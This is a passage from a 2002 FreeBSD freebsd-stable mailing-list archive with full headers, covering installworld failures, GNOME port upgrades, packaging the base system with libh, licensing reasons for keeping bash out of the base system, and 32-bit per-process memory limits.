List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Mike Meyer wrote: > Right. It was kept out of the base system for licensing reasons. It > was included because it was decided that ssh was part of a complete > system, and OpenSSH needs OpenSSL. I'm still looking for an example of > something that was made part of the system for licensing reasons. I think you're misreading me -- my point was that the only apparent barrier to agglommeration of every damn thing in the universe was the licensing issue -- not that things are included because of licenses. Cheers, Michael To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 19:27:10 2002 Delivered-To: freebsd-stable@freebsd.org Received: from smtp-send.myrealbox.com (smtp-send.myrealbox.com [192.108.102.143]) by hub.freebsd.org (Postfix) with ESMTP id 9EF6537B41C for ; Tue, 23 Apr 2002 19:27:05 -0700 (PDT) Received: from jud@smtp-send.myrealbox.com [63.214.219.20] by smtp-send.myrealbox.com with Novell NIMS $Revision: 2.88.1.1 $ on Novell NetWare via secured & encrypted transport (TLS); Tue, 23 Apr 2002 20:26:50 -0600 Date: Tue, 23 Apr 2002 22:26:05 -0400 From: Jud To: freebsd-stable@FreeBSD.ORG Cc: tony@crosswinds.net, kstewart@owt.com, eperrin@beanfield.com Subject: Re: Break in installworld, cvsup'ed today Message-Id: <20020423222605.668886c6.jud@myrealbox.com> X-Mailer: Sylpheed version 0.7.0 (GTK+ 1.2.10; i386--freebsd4.5) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On +Apr 23, Kent Stewart wrote: > > > The only time I have seen a failure like this something went wrong in > the buildworld because something wasn't created. I don't think tr is > supposed to be needed in an installworld. Did your cvsup include > games? Yes, actually as per another response, I specified the full path to tr in the Makefile (gross hack) and other problems occurred. It seems the PATH was getting whacked in several places - things like tr, expr, ex and mkdir (/bin and /usr/bin) are not being found. After a while, I just gave up on specifying full paths. This system is a fresh 4.5R install, with cvsup to 4.5S. I'm just outta ideas (and lack of sleep doesn't help much) -- Tony Holmes _ _ _ _ _ _ _ _ _ _ _ Very much a shot in the dark, but did you try the steps in the order currently specified in the Handbook, including adjkerntz -i? It just happened to me when I tried to 'make world' on Saturday (going from 4.5-RELEASE to -STABLE as you're trying to do) that I errored out for the first time ever. Googling found suggestions that while things installworld needed had in fact been built, installworld wasn't seeing them because they'd taken place in the system's "future." (I hope you understand that better than I think I just explained it.:) Anyhow, if you haven't already, try following the current Handbook instructions to the letter and see if that helps - worked for me. Jud To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 20: 5: 8 2002 Delivered-To: freebsd-stable@freebsd.org Received: from tao.thought.org (sense-kline-249.oz.net [216.39.168.249]) by hub.freebsd.org (Postfix) with ESMTP id 2EEC637B419 for ; Tue, 23 Apr 2002 20:05:02 -0700 (PDT) Received: (from kline@localhost) by tao.thought.org (8.11.3/8.11.3) id g3O34sS51769; Tue, 23 Apr 2002 20:04:54 -0700 (PDT) (envelope-from kline) Date: Tue, 23 Apr 2002 20:04:54 -0700 From: Gary Kline To: Joe Marcus Clarke Cc: Gary Kline , "Brandon S. Allbery KF8NH" , freebsd-stable@FreeBSD.ORG Subject: Re: re Galeon Message-ID: <20020423200453.E51380@tao.thought.org> References: <200204232050.g3NKojV50939@tao.thought.org> <1019599510.320.106.camel@gyros.marcuscom.com> <20020423155944.A51135@tao.thought.org> <1019606034.68291.2.camel@rushlight.kf8nh.apk.net> <20020423170906.A51380@tao.thought.org> <1019608249.320.117.camel@gyros.marcuscom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1019608249.320.117.camel@gyros.marcuscom.com>; from marcus@marcuscom.com on Tue, Apr 23, 2002 at 09:30:49PM -0300 X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: Observing 15 years of service to the Unix community Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Apr 23, 2002 at 09:30:49PM -0300, Joe Marcus Clarke wrote: > On Tue, 2002-04-23 at 21:09, Gary Kline wrote: > > On Tue, Apr 23, 2002 at 08:53:53PM -0300, Brandon S. Allbery KF8NH wrote: > > > On Tue, 2002-04-23 at 19:59, Gary Kline wrote: > > > > > Galeon 1.2.1 with Mozilla-1.0.rc1 works fine for me. What errors do you > > > > > get when you try to compile it? > > > > > > > > The errs I was getting were missing headers.... (That may > > > > have simply been a symtom, tho.) > > > I found that to upgrade galeon I had to: > > > > > > (1) remove freetype, so mozilla would find freetype2; > > > (2) upgrade mozilla; > > > (3) upgrade mozilla-embedded, which remained at the old version --- this > > > despite building -DWITH_FULL_MOZILLA to get SSL, etc.; > > > (4) upgrade galeon. > > > > > > > This ought to save me grief++, thanks. > > > > > > I tried to update `gnomecanvas' and it died not finding libintl.a > > (at least that was what I saw as the built flew past). > > For gnomecanvas to work, you need to have gdk-pixbuf installed, and the > two need to be in sync. Currently, the latest release of both is > 0.17.0. First upgrade gdk-pixbuf, then gnomecanvas. > > libintl is part of gettext. You should have both gettext-0.11.0_1 and > 0.10.35_2 installed. > In /var/db/pkg I see I've got 3 gettext's. 0.10.40 may be messng things up. Let's see... Nope; I was missing 0.10.35_2 lpe builds; now gnomecanvas just finished; mozilla is still building. I should've asked you, or this list , much earlier. thanks! gary > -- Gary Kline kline@thought.org www.thought.org Public service Unix To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 20:10:48 2002 Delivered-To: freebsd-stable@freebsd.org Received: from tomts6-srv.bellnexxia.net (tomts6.bellnexxia.net [209.226.175.26]) by hub.freebsd.org (Postfix) with ESMTP id DC35D37B41C for ; Tue, 23 Apr 2002 20:10:41 -0700 (PDT) Received: from shall.anarcat.dyndns.org ([65.94.187.200]) by tomts6-srv.bellnexxia.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020424031041.CED11881.tomts6-srv.bellnexxia.net@shall.anarcat.dyndns.org> for ; Tue, 23 Apr 2002 23:10:41 -0400 Received: from lenny.anarcat.dyndns.org (lenny.anarcat.dyndns.org [192.168.0.4]) by shall.anarcat.dyndns.org (Postfix) with SMTP id A919F64 for ; Tue, 23 Apr 2002 23:10:00 -0400 (EDT) Received: by lenny.anarcat.dyndns.org (sSMTP sendmail emulation); Tue, 23 Apr 2002 23:09:37 -0400 Date: Tue, 23 Apr 2002 23:09:37 -0400 From: The Anarcat To: freebsd-stable@freebsd.org Subject: [resend] packaging base (was: /etc/defaults/rc.conf theory) Message-ID: <20020424030937.GC323@lenny.anarcat.dyndns.org> Mail-Followup-To: freebsd-stable@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.27i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG [this thread is still alive? i'll spice it up a bit then] On Tue Apr 23, 2002 at 05:31:39PM -0700, Michael Sierchio wrote: > Mike Meyer wrote: > > >You deleted the critical comment I made. If you want to help make > >everything a package, the libh project is always looking for people. > > I'm confused -- you say 'libh,' I say 'Tcl sandbox' ?? Is there > another libh project? I won't comment on that comment, since I don't clearly understand it, but I can say one thing: You don't need libh to package the base system. And actually, it would be a good thing if people started thinking about packaging the base system apart from libh. The main issues I see about packaging the base system is [1] how plists are to be handled and [2] how configurations files are to be handled. [1] is annoying. The way the ports collection deals with it is to create meta-data via the pkg-plist file. I'm not sure it would be an acceptable solution for base. [2] is almost dealt with properly with mergemaster. A. -- Why bother building more nukes until we use the ones we already have? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 20:50:13 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mired.org (dsl-64-192-6-133.telocity.com [64.192.6.133]) by hub.freebsd.org (Postfix) with SMTP id 75E3B37B405 for ; Tue, 23 Apr 2002 20:49:59 -0700 (PDT) Received: (qmail 48280 invoked by uid 100); 24 Apr 2002 03:49:56 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15558.11108.62426.757483@guru.mired.org> Date: Tue, 23 Apr 2002 22:49:56 -0500 To: kudzu@tenebras.com Cc: pjklist@ekahuna.com, stable@FreeBSD.ORG Subject: Re: /etc/defaults/rc.conf theory In-Reply-To: <3CC6168B.4010809@tenebras.com> References: <20020423235147062.AAA735@empty1.ekahuna.com@pc02.ekahuna.com> <15557.63103.194310.947011@guru.mired.org> <3CC5FD0E.7020908@tenebras.com> <15558.4697.740506.455174@guru.mired.org> <3CC6168B.4010809@tenebras.com> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ From: Mike Meyer X-Delivery-Agent: TMDA/0.52 (Python 2.2 on FreeBSD/i386) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In <3CC6168B.4010809@tenebras.com>, Michael Sierchio typed: > Mike Meyer wrote: > > Right. It was kept out of the base system for licensing reasons. It > > was included because it was decided that ssh was part of a complete > > system, and OpenSSH needs OpenSSL. I'm still looking for an example of > > something that was made part of the system for licensing reasons. > I think you're misreading me -- my point was that the only apparent > barrier to agglommeration of every damn thing in the universe was > the licensing issue -- not that things are included because of > licenses. I think you misspoke, as you said: > The rationale for inclusion in the base system as opposed to ports > has usually been licensing issues. Which has the relationship the other way. However, I still disagree. The *only* times I've seen things added to the base system was, as I said, 1) when it was decided that the thing in question was required for the system to qualify as "complete", and 2) when the thing in question was required to build the base system. There are still 5000+ applications in ports that aren't part of the base system, and probably never will be. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 20:52:12 2002 Delivered-To: freebsd-stable@freebsd.org Received: from gyros.marcuscom.com (rdu57-17-158.nc.rr.com [66.57.17.158]) by hub.freebsd.org (Postfix) with ESMTP id 59E0F37B41A for ; Tue, 23 Apr 2002 20:52:04 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by gyros.marcuscom.com (8.12.3/8.12.3) with ESMTP id g3O3pnYW019914; Tue, 23 Apr 2002 23:51:49 -0400 (EDT) (envelope-from marcus@marcuscom.com) Subject: Re: re Galeon From: Joe Marcus Clarke To: Gary Kline Cc: "Brandon S. Allbery " KF8NH , freebsd-stable@FreeBSD.ORG In-Reply-To: <20020423200453.E51380@tao.thought.org> References: <200204232050.g3NKojV50939@tao.thought.org> <1019599510.320.106.camel@gyros.marcuscom.com> <20020423155944.A51135@tao.thought.org> <1019606034.68291.2.camel@rushlight.kf8nh.apk.net> <20020423170906.A51380@tao.thought.org> <1019608249.320.117.camel@gyros.marcuscom.com> <20020423200453.E51380@tao.thought.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 Date: 24 Apr 2002 00:51:49 -0300 Message-Id: <1019620309.310.13.camel@gyros.marcuscom.com> Mime-Version: 1.0 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 2002-04-24 at 00:04, Gary Kline wrote: > On Tue, Apr 23, 2002 at 09:30:49PM -0300, Joe Marcus Clarke wrote: > > On Tue, 2002-04-23 at 21:09, Gary Kline wrote: > > > On Tue, Apr 23, 2002 at 08:53:53PM -0300, Brandon S. Allbery KF8NH wrote: > > > > On Tue, 2002-04-23 at 19:59, Gary Kline wrote: > > > > > > Galeon 1.2.1 with Mozilla-1.0.rc1 works fine for me. What errors do you > > > > > > get when you try to compile it? > > > > > > > > > > The errs I was getting were missing headers.... (That may > > > > > have simply been a symtom, tho.) > > > > I found that to upgrade galeon I had to: > > > > > > > > (1) remove freetype, so mozilla would find freetype2; > > > > (2) upgrade mozilla; > > > > (3) upgrade mozilla-embedded, which remained at the old version --- this > > > > despite building -DWITH_FULL_MOZILLA to get SSL, etc.; > > > > (4) upgrade galeon. > > > > > > > > > > This ought to save me grief++, thanks. > > > > > > > > > I tried to update `gnomecanvas' and it died not finding libintl.a > > > (at least that was what I saw as the built flew past). > > > > For gnomecanvas to work, you need to have gdk-pixbuf installed, and the > > two need to be in sync. Currently, the latest release of both is > > 0.17.0. First upgrade gdk-pixbuf, then gnomecanvas. > > > > libintl is part of gettext. You should have both gettext-0.11.0_1 and > > 0.10.35_2 installed. > > > > In /var/db/pkg I see I've got 3 gettext's. 0.10.40 may be messng > things up. Let's see... Nope; I was missing 0.10.35_2 > > lpe builds; now gnomecanvas just finished; mozilla is still > building. > > I should've asked you, or this list , much earlier. That's what we're here for. If you run into more GNOME-related problems, send them to freebsd-gnome@freebsd.org. Joe > > thanks! > > gary > > > > > -- > Gary Kline kline@thought.org www.thought.org Public service Unix > > -- PGP Key: http://www.marcuscom.com/pgp.asc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 20:52:15 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mired.org (dsl-64-192-6-133.telocity.com [64.192.6.133]) by hub.freebsd.org (Postfix) with SMTP id DE0E037B41B for ; Tue, 23 Apr 2002 20:52:07 -0700 (PDT) Received: (qmail 48356 invoked by uid 100); 24 Apr 2002 03:52:07 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15558.11239.49073.305379@guru.mired.org> Date: Tue, 23 Apr 2002 22:52:07 -0500 To: pjklist@ekahuna.com Cc: stable@FreeBSD.ORG Subject: Re: /etc/defaults/rc.conf theory In-Reply-To: <20020424020740647.AAA735@empty1.ekahuna.com@pc02.ekahuna.com> References: <20020423235147062.AAA735@empty1.ekahuna.com@pc02.ekahuna.com> <20020424020740647.AAA735@empty1.ekahuna.com@pc02.ekahuna.com> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ From: Mike Meyer X-Delivery-Agent: TMDA/0.52 (Python 2.2 on FreeBSD/i386) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In <20020424020740647.AAA735@empty1.ekahuna.com@pc02.ekahuna.com>, Philip J. Koenig typed: > On 23 Apr 2002, at 19:04, Mike Meyer boldly uttered: > > > In <20020423235147062.AAA735@empty1.ekahuna.com@pc02.ekahuna.com>, Philip J. Koenig typed: > > > Mike Meyer wrote: > > > > > The rationale for inclusion in the base system as opposed to ports > > > > > has usually been licensing issues. > > > > By some odd quirk, I've never heard any such rationale. > > > The two examples I can think of off the top of my head are bash and > > > apache. > > Neither of those is in the base system. > Exactly. My understanding as to *why* they are not in the base > system (especially in regards to bash) is because their respective > licensing schemes were not compatible with the FreeBSD license. That's exactly the opposite of what you said, though. I think you meant either "the rationale for EXclusion from the base system" or "the rational for inclusion in the ports tree as opposed to the base system." > I'm not the first person who wished for a 'standard' bash shell to be > part of the base system (ie as root's default shell) but I've been > told in the past it will never happen due to licensing issues. That's correct - it's got to be possible to ship a system commercially. You can't do that with bash, so you have to settle for the standard /bin/sh. http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 21: 7:24 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mired.org (dsl-64-192-6-133.telocity.com [64.192.6.133]) by hub.freebsd.org (Postfix) with SMTP id CD66A37B41C for ; Tue, 23 Apr 2002 21:07:19 -0700 (PDT) Received: (qmail 48518 invoked by uid 100); 24 Apr 2002 04:07:19 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15558.12150.814150.317904@guru.mired.org> Date: Tue, 23 Apr 2002 23:07:18 -0500 To: The Anarcat Cc: freebsd-stable@freebsd.org Subject: Re: [resend] packaging base (was: /etc/defaults/rc.conf theory) In-Reply-To: <20020424030937.GC323@lenny.anarcat.dyndns.org> References: <20020424030937.GC323@lenny.anarcat.dyndns.org> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ From: Mike Meyer X-Delivery-Agent: TMDA/0.52 (Python 2.2 on FreeBSD/i386) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In <20020424030937.GC323@lenny.anarcat.dyndns.org>, The Anarcat typed: > [this thread is still alive? i'll spice it up a bit then] > You don't need libh to package the base system. True, but not complete. > And actually, it would be a good thing if people started thinking > about packaging the base system apart from libh. People *have* thought about doing that. They concluded that libh was the correct solution. If you disagree, feel free to submit pr's with patches that solve the problem without libh. > The main issues I see about packaging the base system is [1] how plists > are to be handled and [2] how configurations files are to be handled. You missed the biggie: [3] how the base system install is handled. You either have to make all the packages floppy-sized chunks, or fix the package system to deal with packages that are split up into floppy-sized chunks. This has to be done using the grotty interface library currently used to do the base system install. All the people I know of who know that sytem well enough to do the job consider it more effort than it's worth. Hence, the effort to provide a better set of tools for building the better install system that goes under the moniker "the libh project". http://www.mired.org/home/mwm/ Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 21:41:20 2002 Delivered-To: freebsd-stable@freebsd.org Received: from HAL9000.wox.org (12-232-222-90.client.attbi.com [12.232.222.90]) by hub.freebsd.org (Postfix) with ESMTP id EDCA737B404; Tue, 23 Apr 2002 21:41:15 -0700 (PDT) Received: (from das@localhost) by HAL9000.wox.org (8.11.6/8.11.6) id g3O4eB703694; Tue, 23 Apr 2002 21:40:11 -0700 (PDT) (envelope-from das) Date: Tue, 23 Apr 2002 21:40:11 -0700 From: David Schultz To: Vallo Kallaste Cc: "Marc G. Fournier" , Terry Lambert , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-ID: <20020423214011.B3593@HAL9000.wox.org> Mail-Followup-To: Vallo Kallaste , "Marc G. Fournier" , Terry Lambert , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG References: <3CC4C683.F9AEF14E@mindspring.com> <20020423092909.N1721-100000@mail1.hub.org> <20020423184534.GA30212@myhakas.estpak.ee> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020423184534.GA30212@myhakas.estpak.ee>; from kalts@estpak.ee on Tue, Apr 23, 2002 at 09:45:34PM +0300 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thus spake Vallo Kallaste : > Userspace processes will allocate memory > from UVA space and can grow over 1GB of size if needed by swapping. > You can certainly have more than one over-1GB process going on at > the same time, but swapping will constrain your performance. It isn't a performance constraint. 32-bit architectures have 32-bit pointers, so in the absence of segmentation tricks, a virtual address space can only contain 2^32 = 4G locations. If the kernel gets 3 GB of that, the maximum amount of memory that any individual user process can use is 1 GB. If you had, say, 4 GB of physical memory, a single user process could not use it all. Swap increases the total amount of memory that *all* processes can allocate by pushing some of the pages out of RAM and onto the disk, but it doesn't increase the total amount of memory that a single process can address. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 21:58:38 2002 Delivered-To: freebsd-stable@freebsd.org Received: from 12-234-22-238.client.attbi.com (12-234-90-219.client.attbi.com [12.234.90.219]) by hub.freebsd.org (Postfix) with ESMTP id AF34E37B416 for ; Tue, 23 Apr 2002 21:58:35 -0700 (PDT) Received: from Master.gorean.org (master.gorean.org [10.0.0.2]) by 12-234-22-238.client.attbi.com (8.12.2/8.12.2) with ESMTP id g3O4wYHt079213; Tue, 23 Apr 2002 21:58:34 -0700 (PDT) (envelope-from DougB@FreeBSD.org) Received: from Master.gorean.org (zoot [127.0.0.1]) by Master.gorean.org (8.12.2/8.12.2) with ESMTP id g3O4waLr066488; Tue, 23 Apr 2002 21:58:36 -0700 (PDT) (envelope-from DougB@FreeBSD.org) Received: from localhost (doug@localhost) by Master.gorean.org (8.12.2/8.12.2/Submit) with ESMTP id g3O4wYbi066485; Tue, 23 Apr 2002 21:58:36 -0700 (PDT) X-Authentication-Warning: Master.gorean.org: doug owned process doing -bs Date: Tue, 23 Apr 2002 21:58:34 -0700 (PDT) From: Doug Barton X-X-Sender: doug@master.gorean.org To: JJ Behrens Cc: freebsd-stable@FreeBSD.org Subject: Re: *** HEAD'S UP *** In-Reply-To: <20020422114407.B21612@alicia.nttmcl.com> Message-ID: <20020423215717.S66402-100000@master.gorean.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 22 Apr 2002, JJ Behrens wrote: > I strongly disagree with your disagreement of his disagreement :)) Citing > /etc/defaults/rc.conf once more: > > # The ${rc_conf_files} files should only contain values which override > # values set in this file. The comment exists because some people with commit privileges to this file have different ideas as to how it should be used. If you want to blindly trust your system to changing winds of fortune, that's your right. Personally, I don't recommend it. -- "We have known freedom's price. We have shown freedom's power. And in this great conflict, ... we will see freedom's victory." - George W. Bush, President of the United States State of the Union, January 28, 2002 Do YOU Yahoo!? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 22: 5:22 2002 Delivered-To: freebsd-stable@freebsd.org Received: from HAL9000.wox.org (12-232-222-90.client.attbi.com [12.232.222.90]) by hub.freebsd.org (Postfix) with ESMTP id 2EBC937B41A; Tue, 23 Apr 2002 22:05:16 -0700 (PDT) Received: (from das@localhost) by HAL9000.wox.org (8.11.6/8.11.6) id g3O548W03772; Tue, 23 Apr 2002 22:04:08 -0700 (PDT) (envelope-from das) Date: Tue, 23 Apr 2002 22:04:08 -0700 From: David Schultz To: Terry Lambert Cc: kalts@estpak.ee, "Marc G. Fournier" , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-ID: <20020423220408.C3593@HAL9000.wox.org> Mail-Followup-To: Terry Lambert , kalts@estpak.ee, "Marc G. Fournier" , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG References: <3CC4C683.F9AEF14E@mindspring.com> <20020423092909.N1721-100000@mail1.hub.org> <20020423184534.GA30212@myhakas.estpak.ee> <3CC5B52B.49A5A719@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3CC5B52B.49A5A719@mindspring.com>; from tlambert2@mindspring.com on Tue, Apr 23, 2002 at 12:25:31PM -0700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thus spake Terry Lambert : > Writing a useful (non-"fluff") technical book, optimistically, > takes 2080 hours ... or 40 hours per week for 52 weeks... a man > year. > > By the time you are done, the book is a year out of date, and > even if you worked really hard and kept it up to date (e.g. you > had 4 authors and spent only 6 months of wall time on the book), > the shelf life on the book is still pretty short. Although it would be unreasonable to comprehensively document the kernel internals and expect the details to remain valid for a year, there is a great deal of lasting information that could be conveyed. For example, Kirk's 4.[34]BSD books cover obsolete systems, and yet much of what they say applies equally well to recent versions of FreeBSD. It's true that the specific question ``How do I change my KVA size?'' might have different answers at different times, but I doubt that the ideas behind an answer have all been invented in the last few months. Even things like PAE, used by the Linux 2.4 kernel, remind me of how DOS dealt with the 1 MB memory limit. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 22: 8:23 2002 Delivered-To: freebsd-stable@freebsd.org Received: from tomts21-srv.bellnexxia.net (tomts21.bellnexxia.net [209.226.175.183]) by hub.freebsd.org (Postfix) with ESMTP id E55BF37B41B for ; Tue, 23 Apr 2002 22:08:16 -0700 (PDT) Received: from shall.anarcat.dyndns.org ([65.94.187.200]) by tomts21-srv.bellnexxia.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020424050815.BSSF6021.tomts21-srv.bellnexxia.net@shall.anarcat.dyndns.org>; Wed, 24 Apr 2002 01:08:15 -0400 Received: from lenny.anarcat.dyndns.org (lenny.anarcat.dyndns.org [192.168.0.4]) by shall.anarcat.dyndns.org (Postfix) with SMTP id BA7FA341; Wed, 24 Apr 2002 01:07:17 -0400 (EDT) Received: by lenny.anarcat.dyndns.org (sSMTP sendmail emulation); Wed, 24 Apr 2002 01:07:11 -0400 Date: Wed, 24 Apr 2002 01:07:11 -0400 From: The Anarcat To: Mike Meyer Cc: freebsd-stable@freebsd.org Subject: Re: [resend] packaging base (was: /etc/defaults/rc.conf theory) Message-ID: <20020424050711.GC973@lenny.anarcat.dyndns.org> Mail-Followup-To: Mike Meyer , freebsd-stable@freebsd.org References: <20020424030937.GC323@lenny.anarcat.dyndns.org> <15558.12150.814150.317904@guru.mired.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <15558.12150.814150.317904@guru.mired.org> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue Apr 23, 2002 at 11:07:18PM -0500, Mike Meyer wrote: > In <20020424030937.GC323@lenny.anarcat.dyndns.org>, The Anarcat typed: > > [this thread is still alive? i'll spice it up a bit then] > > You don't need libh to package the base system. > > True, but not complete. > > > And actually, it would be a good thing if people started thinking > > about packaging the base system apart from libh. > > People *have* thought about doing that. They concluded that libh was > the correct solution. I wasn't aware of that. > If you disagree, feel free to submit pr's with patches that solve > the problem without libh. Right now, I'm working on making libh do *something*, mind you, so I'm not the one who's going to work on the extra-libh solution. Not my field. > > The main issues I see about packaging the base system is [1] how plists > > are to be handled and [2] how configurations files are to be handled. > > You missed the biggie: [3] how the base system install is handled. The same way the rest of the system is. [3] = [1] + [2] > You either have to make all the packages floppy-sized chunks, Which is impossible. > or fix the package system to deal with packages that are split up > into floppy-sized chunks. Which is moderatly feasable. Some people have already started working on a pkgAPI which would encapsulate such problems. Also, I don't think it would be very complex to cat many files into a single one on the filesystem prior to installing a package. Very simple, I think. > This has to be done using the grotty interface library currently > used to do the base system install. You're probably talking about sysinstall? Then I guess than, yes, it will be a pain to implement. But guess what: libh won't get through if it's not a drop-in replacement for sysinstall. This means sysinstall must be re-written from scratch. Which is arguably equivalent to adding split-package functionalities to the current sysinstall. But that was not my original point: > All the people I know of who know that sytem well enough to do the > job consider it more effort than it's worth. Hence, the effort to > provide a better set of tools for building the better install system > that goes under the moniker "the libh project". The libh project doesn't solve the problem of packaging the base system. It provides a new API and package format that will be more efficient and robust, along with a dual console/graphical interface, but does not deal with source management and build systems. In other words, libh doesn't know about the ports collection or /usr/src yet, and I don't think it's going to change soon. That is a different beast. Now if *you* have patches to make libh recognize split-packages, i'd happily commit them to the tree. And there'll probably be someone to commit your patches to packaging /usr/src in a pkgAPI-independant way. A. -- Computer science is no more about computers than astronomy is about telescopes - E. Dijkstra To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 22:17:43 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mired.org (dsl-64-192-6-133.telocity.com [64.192.6.133]) by hub.freebsd.org (Postfix) with SMTP id 7F35237B41A for ; Tue, 23 Apr 2002 22:17:38 -0700 (PDT) Received: (qmail 49887 invoked 